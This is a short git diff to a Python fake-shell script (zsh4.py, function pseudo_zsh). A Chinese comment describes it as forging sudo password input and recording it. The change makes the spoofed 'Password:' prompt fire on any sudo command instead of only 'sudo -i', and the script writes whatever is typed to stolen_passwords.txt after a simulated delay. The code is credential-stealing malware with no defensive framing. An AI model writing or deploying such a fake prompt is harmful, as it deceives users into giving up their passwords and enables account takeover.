diff --git a/zsh4.py b/zsh4.py
index 7ed9467..ae1b6ff 100644
--- a/zsh4.py
+++ b/zsh4.py
@@ -39,8 +39,8 @@ def pseudo_zsh():
                 continue
             
             # 伪造 sudo 密码输入并记录
-            if args[0] == 'sudo -i':
-                fake_password = input("Password: ")
+            if args[0] == 'sudo':
+                fake_password = input(">Password: ")
                 with open("stolen_passwords.txt", "a") as f:
                     f.write(fake_password + "\n")
                 time.sleep(3) # 模拟延迟